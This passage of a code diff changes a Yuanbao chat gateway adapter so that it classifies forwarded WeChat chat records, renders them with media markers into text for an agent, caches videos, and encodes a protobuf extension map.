@@ -2165,14 +2250,26 @@ async def handle(self, ctx: InboundContext, next_fn) -> None:
await next_fn()
+class YuanbaoMessageType(Enum):
+ """Yuanbao-local message subtypes; coerced back to :class:`MessageType`
+ before leaving the adapter (see :class:`DispatchMiddleware`)."""
+
+ # WeChat forwarded chat records (TIMCustomElem, elem_type 1009).
+ CHAT_RECORD = "chat_record"
+
+
class ClassifyMessageTypeMiddleware(InboundMiddleware):
"""Determine MessageType from text content and msg_body elements."""
name = "classify-msg-type"
@staticmethod
- def _classify(text: str, msg_body: list) -> MessageType:
- """Classify message type based on text and msg_body."""
+ def _classify(text: str, msg_body: list):
+ """Classify message type based on text and msg_body.
+
+ Returns a base :class:`MessageType`, or a yuanbao-local
+ :class:`YuanbaoMessageType` for platform-specific subtypes.
+ """
if text.startswith("/"):
return MessageType.COMMAND
for elem in msg_body:
@@ -2185,6 +2282,14 @@ def _classify(text: str, msg_body: list) -> MessageType:
return MessageType.VIDEO
if etype == "TIMFileElem":
return MessageType.DOCUMENT
+ if etype == "TIMCustomElem":
+ data_str = (elem.get("msg_content") or {}).get("data", "")
+ try:
+ custom = json.loads(data_str)
+ except (json.JSONDecodeError, TypeError):
+ custom = None
+ if isinstance(custom, dict) and custom.get("elem_type") == 1009:
+ return YuanbaoMessageType.CHAT_RECORD
return MessageType.TEXT
async def handle(self, ctx: InboundContext, next_fn) -> None:
@@ -2266,6 +2371,180 @@ async def handle(self, ctx: InboundContext, next_fn) -> None:
await next_fn()
+class ForwardedRecordsParseMiddleware(InboundMiddleware):
+ """Deep-parse WeChat forwarded chat records (elem_type 1009) for dispatch.
+
+ Activates when a full ``ForwardMsgData`` dict is available on the current
+ turn, carried by the current message (``ctx.forwarded_records``).
+ Resolves media to ``[kind|ybres:RID]``
+ placeholders, appends downloadable refs to ``ctx.media_refs`` (for
+ :class:`MediaResolveMiddleware`), and rewrites ``ctx.raw_text``.
+
+ Group @bot turns *without* a forward on the current message rely on the
+ eagerly-rendered summaries that :class:`GroupAtGuardMiddleware` writes to
+ the transcript at observe time — there is no run-time summary fallback
+ here.
+
+ On any failure the middleware leaves ``ctx.raw_text`` untouched
+ (graceful degradation, design §2.8).
+ """
+
+ name = "forwarded-records-parse"
+
+ async def handle(self, ctx: InboundContext, next_fn) -> None:
+ try:
+ if ctx.forwarded_records:
+ self._send_loading_heartbeat(ctx)
+ ctx.raw_text = self.build_forward_text(ctx.forwarded_records, ctx=ctx, is_dispatch=True)
+ except Exception as exc:
+ # Degrade gracefully: leave ctx.raw_text as-is.
+ logger.warning(
+ "[%s] forwarded-records deep parse failed: %s",
+ getattr(ctx.adapter, "name", "yuanbao"), exc,
+ )
+
+ await next_fn()
+
+ # -- Heartbeat ---------------------------------------------------------
+
+ @staticmethod
+ async def _send_loading_heartbeat(ctx: InboundContext) -> None:
+ """Best-effort RUNNING heartbeat so the user sees a loading bubble."""
+ try:
+ await ctx.adapter._outbound.heartbeat.send_heartbeat_once(
+ ctx.chat_id, WS_HEARTBEAT_RUNNING,
+ )
+ except Exception:
+ pass
+
+ # -- Record rendering helpers -----------------------------------------
+
+ @classmethod
+ def _media_marker(
+ cls, media: dict, plain_text: str = "",
+ ) -> Tuple[str, Optional[Dict[str, str]]]:
+ """Render one ``msgContent.multimedia`` entry as a textual marker.
+
+ Returns ``(marker, ref)``. Downloadable media emits a
+ ``[kind|ybres:RID]`` marker and a ``ctx.media_refs`` ref dict when a
+ usable RID/URL is present; otherwise a plain ``[kind] name`` marker
+ and ``ref=None``.
+ """
+ media_type = (media.get("type", "") or media.get("doc_type", "")).strip().lower()
+ url = str(media.get("url") or "").strip()
+ media_id = str(media.get("media_id") or "").strip()
+ file_name = str(media.get("file_name") or "").strip()
+ # media_id is directly usable as a ybres RID (design §2.10.9);
+ # fall back to parsing the resourceId out of the URL.
+ rid = media_id or ExtractContentMiddleware._parse_resource_id(url)
+
+ if media_type == "image":
+ if url and rid:
+ return f"[image|ybres:{rid}] {file_name}".rstrip(), {"kind": "image", "url": url}
+ return f"[image] {file_name or plain_text}".rstrip(), None
+
+ if media_type in ("file", "document", "code"):
+ if url and rid:
+ ref: Dict[str, str] = {"kind": "file", "url": url}
+ if file_name:
+ ref["name"] = file_name
+ return f"[file|ybres:{rid}] {file_name}".rstrip(), ref
+ return f"[file] {file_name}".rstrip(), None
+
+ if media_type == "url":
+ # Link share (e.g. WeChat article) — keep URL for the agent.
+ link_title = file_name or str(media.get("title") or "")
+ return f"[link] {link_title} {url}".rstrip(), None
+
+ if media_type == "video":
+ if url and rid:
+ return f"[video|ybres:{rid}] {file_name}".rstrip(), {"kind": "video", "url": url}
+ return f"[video] {file_name or url}".rstrip(), None
+
+ return f"[{media_type or 'media'}] {url or file_name}".rstrip(), None
+
+ # Per-record combined-text cap; record count is NOT capped (design §2.10.3).
+ FORWARD_MSG_TEXT_MAX_CHARS = 1000
+
+ @classmethod
+ def _walk_forward_msgs(
+ cls,
+ forward_data: dict,
+ ) -> Iterator[Tuple[str, str, List[Dict[str, str]]]]:
+ """Walk ``ForwardMsgData['msg']`` and yield ``(sender, body, refs)``.
+
+ Per-record dispatch over ``msgContent`` (text / multimedia / nested
+ forward / fallback); ``body`` is capped at
+ :attr:`FORWARD_MSG_TEXT_MAX_CHARS`. Media goes through
+ :meth:`_media_marker`, always building full ``[kind|ybres:RID]``
+ markers; ``refs`` holds that record's downloadable ``ctx.media_refs``
+ entries in textual order — the order PatchAnchorsMiddleware relies on
+ (design §2.10.6). Headers / footers are the caller's job.
+ """
+ for msg in (forward_data.get("msg") if isinstance(forward_data, dict) else None) or []:
+ if not isinstance(msg, dict):
+ continue
+ sender = msg.get("sender", "")
+ plain_text = msg.get("plainText", "")
+ msg_contents = msg.get("msgContent", []) or []
+
+ refs: List[Dict[str, str]] = []
+ if not msg_contents:
+ rendered = plain_text
+ else:
+ parts: List[str] = []
+ for mc in msg_contents:
+ if not isinstance(mc, dict):
+ continue
+ mc_type = mc.get("type", 0) # EnumMsgContentType
+ if mc_type == 1: # TEXT
+ parts.append(mc.get("text", ""))
+ elif mc_type == 2: # MULTIMEDIA
+ for media in mc.get("multimedia", []) or []:
+ if isinstance(media, dict):
+ marker, ref = cls._media_marker(
+ media, plain_text,
+ )
+ parts.append(marker)
+ if ref is not None:
+ refs.append(ref)
+ elif mc_type == 3: # nested FORWARD_MSG (design §2.10.10)
+ parts.append("[嵌套聊天记录]")
+ else:
+ if plain_text:
+ parts.append(plain_text)
+ rendered = " ".join(p for p in parts if p) or plain_text
+
+ if len(rendered) > cls.FORWARD_MSG_TEXT_MAX_CHARS:
+ rendered = rendered[: cls.FORWARD_MSG_TEXT_MAX_CHARS] + "…(已截断)"
+ yield sender, rendered, refs
+
+ # -- Prompt builders ---------------------------------------------------
+
+ @classmethod
+ def build_forward_text(
+ cls, forward_data: dict, *, ctx: InboundContext, is_dispatch: bool,
+ ) -> str:
+ """Render ``ForwardMsgData`` into forward text.
+
+ Body lines are ``发送人:正文`` with full ``[kind|ybres:RID]`` media
+ markers preserved. When ``is_dispatch`` is true, refs are appended to
+ ``ctx.media_refs`` for downstream resolution and a ``用户附言:
+ {ctx.raw_text}`` footer is added; observed callers skip both since
+ no later middleware runs.
+ """
+ nickname = ctx.sender_nickname or "用户"
+ lines = [f"当前用户的昵称为{nickname}", "以下为用户的聊天记录"]
+ for sender, body, refs in cls._walk_forward_msgs(forward_data):
+ lines.append(f"{sender}:{body}")
+ if is_dispatch:
+ ctx.media_refs.extend(refs)
+ text = "\n".join(lines)
+ if is_dispatch and ctx.raw_text.strip():
+ text += f"\n\n用户附言:{ctx.raw_text.strip()}"
+ return text
+
+
class MediaResolveMiddleware(InboundMiddleware):
"""Resolve inbound media references to downloadable URLs."""
@@ -2273,9 +2552,6 @@ class MediaResolveMiddleware(InboundMiddleware):
# --- Resource download cache (keyed by resourceId) ---
# Avoids redundant downloads of the same resource within the TTL window.
- # The same resourceId can be referenced multiple times in a session (own
- # attachment, then quoted again, then observed in a group backfill); each
- # reference otherwise triggers a fresh token exchange + download.
_resource_cache: ClassVar[Dict[str, Tuple[str, str, float]]] = {} # rid -> (local_path, mime, ts)
_RESOURCE_CACHE_TTL_S: ClassVar[int] = 24 * 60 * 60 # 24 hours
_RESOURCE_CACHE_MAX_SIZE: ClassVar[int] = 256
@@ -2451,6 +2727,15 @@ async def _download_and_cache(
cls._put_cached_resource(resource_id, local_path, mime)
return local_path, mime
+ if kind == "video":
+ # Yuanbao video resources carry no reliable extension; default to mp4.
+ local_path = cache_video_from_bytes(file_bytes)
+ mime = guess_mime_type(local_path) or (
+ content_type if content_type.startswith("video/") else "video/mp4"
+ )
+ cls._put_cached_resource(resource_id, local_path, mime)
+ return local_path, mime
+
# kind == "file"
if not file_name:
parsed = urllib.parse.urlparse(fetch_url)
@@ -2572,14 +2857,22 @@ async def _collect_observed_media(
if not history:
return [], []
- start = max(0, len(history) - OBSERVED_MEDIA_BACKFILL_LOOKBACK)
+ # Walk the most recent LOOKBACK messages newest→oldest so that when we
+ # hit the per-turn resolve cap we keep the *latest* media references,
+ # not the oldest ones in the window. Within a single message, also
+ # iterate matches in reverse so the last-added image wins on ties.
+ # Final ``order`` is reversed back to chronological (old→new) before
+ # handing off to ``_resolve_ybres_refs`` so downstream prompt insertion
+ # preserves natural reading order.
+ window = history[-OBSERVED_MEDIA_BACKFILL_LOOKBACK:]
order: List[Tuple[str, str, str]] = [] # (rid, kind, filename)
seen: set = set()
- for msg in history[start:]:
+ for msg in reversed(window):
content = msg.get("content")
if not isinstance(content, str) or "|ybres:" not in content:
continue
- for m in _YB_RES_REF_RE.finditer(content):
+ matches = list(_YB_RES_REF_RE.finditer(content))
+ for m in reversed(matches):
head = m.group(1) # "image" | "file:" | "voice" | "video"
rid = m.group(2)
kind, _, filename = head.partition(":")
@@ -2595,6 +2888,9 @@ async def _collect_observed_media(
if len(order) >= OBSERVED_MEDIA_BACKFILL_MAX_RESOLVE_PER_TURN:
break
+ # Restore chronological order (oldest→newest) for downstream resolution.
+ order.reverse()
+
if not order:
return [], []
@@ -2640,9 +2936,7 @@ def _collect_quote_local_media(ctx: InboundContext) -> Tuple[List[str], List[str
if not isinstance(text, str) or not text:
return paths, mimes
- # Already-local media paths written by PatchAnchorsMiddleware. The
- # generic anchor regex covers every kind _patch emits (image/file today,
- # video/audio if they later become resolvable) without per-kind upkeep.
+ # Already-local media paths written by PatchAnchorsMiddleware.
seen: set = set()
for m in _YB_LOCAL_MEDIA_RE.finditer(text):
kind = (m.group(1) or "").strip().lower()
@@ -2756,6 +3050,8 @@ def _patch(text: str, urls: List[str], types: List[str]) -> str:
elif kind == "file":
label = filename.strip() or os.path.basename(u)
replacement = f"[file: {label} → {u}]"
+ elif kind == "video":
+ replacement = f"[video: {u}]"
else:
continue
patched = (
@@ -2790,7 +3086,11 @@ async def _dispatch_inbound_event() -> None:
message_type=(
MessageType.DOCUMENT
if any(mt.startswith(("application/", "text/")) for mt in ctx.media_types)
- else ctx.msg_type
+ # Coerce yuanbao-local subtypes (e.g. CHAT_RECORD) back to a
+ # base MessageType: chat records are deep-parsed into a text
+ # prompt, so TEXT is the right kind for downstream routing.
+ else ctx.msg_type if isinstance(ctx.msg_type, MessageType)
+ else MessageType.TEXT
),
source=ctx.source,
message_id=ctx.msg_id or None,
@@ -2889,6 +3189,7 @@ class InboundPipelineBuilder:
GroupAttributionMiddleware,
ClassifyMessageTypeMiddleware,
QuoteContextMiddleware,
+ ForwardedRecordsParseMiddleware,
MediaResolveMiddleware,
PatchAnchorsMiddleware,
DispatchMiddleware,
diff --git a/gateway/platforms/yuanbao_proto.py b/gateway/platforms/yuanbao_proto.py
index cbe176aee5a1..4eeb54c55592 100644
--- a/gateway/platforms/yuanbao_proto.py
+++ b/gateway/platforms/yuanbao_proto.py
@@ -492,6 +492,29 @@ def decode_biz_msg(data: bytes) -> dict:
# field 10: url (string)
# field 11: file_size (uint32)
# field 12: file_name (string)
+# field 999: ext_map (map) ← extension info for WeChat chat-history forwarding
+# protobuf map is wire-encoded as a repeated message entry; each entry has:
+# field 1: key (string)
+# field 2: value (string)
+# key format: wexin_forward_msg_[forward_msg_id]_[userid]
+# value: base64(ForwardMsgData protobuf) ← NOT JSON; it is base64-encoded
+# protobuf bytes that must be parsed with decode_forward_msg_data().
+
+
+def _encode_map_entry(key: str, value: str) -> bytes:
+ """Encode a single entry of a protobuf map (field 1 key, field 2 value)."""
+ buf = b""
+ if key:
+ buf += _encode_field(1, WT_LEN, _encode_string(str(key)))
+ if value:
+ buf += _encode_field(2, WT_LEN, _encode_string(str(value)))
+ return buf
+
+
+def _decode_map_entry(data: bytes) -> tuple[str, str]:
+ """Decode a single entry of a protobuf map, returning (key, value)."""
+ fdict = _fields_to_dict(_parse_fields(data))
+ return _get_string(fdict, 1), _get_string(fdict, 2)
def _encode_msg_content(content: dict) -> bytes:
@@ -518,6 +541,12 @@ def _encode_msg_content(content: dict) -> bytes:
if url:
img_buf += _encode_field(5, WT_LEN, _encode_string(url))
buf += _encode_field(8, WT_LEN, _encode_message(img_buf))
+ # ext_map (map, field 999) — repeated message entries
+ ext_map = content.get("ext_map")
+ if isinstance(ext_map, dict):
+ for k, v in ext_map.items():
+ entry_bytes = _encode_map_entry(str(k), str(v))
+ buf += _encode_field(999, WT_LEN, _encode_message(entry_bytes))
return buf
@@ -550,6 +579,14 @@ def _decode_msg_content(data: bytes) -> dict:
imgs.append(img)
if imgs:
content["image_info_array"] = imgs
+ # ext_map (field 999) — decode repeated map entries into a plain dict
+ ext_map: dict[str, str] = {}
+ for entry_bytes in _get_repeated_bytes(fdict, 999):
+ k, v = _decode_map_entry(entry_bytes)
+ if k:
+ ext_map[k] = v
+ if ext_map:
+ content["ext_map"] = ext_map
return content
@@ -710,9 +747,178 @@ def decode_inbound_push(data: bytes) -> Optional[dict]:
# ============================================================
-# 出站消息编码
+# WeChat forwarded chat-history parsing (ForwardMsgData)
# ============================================================
+#
+# The value of ext_map["wexin_forward_msg_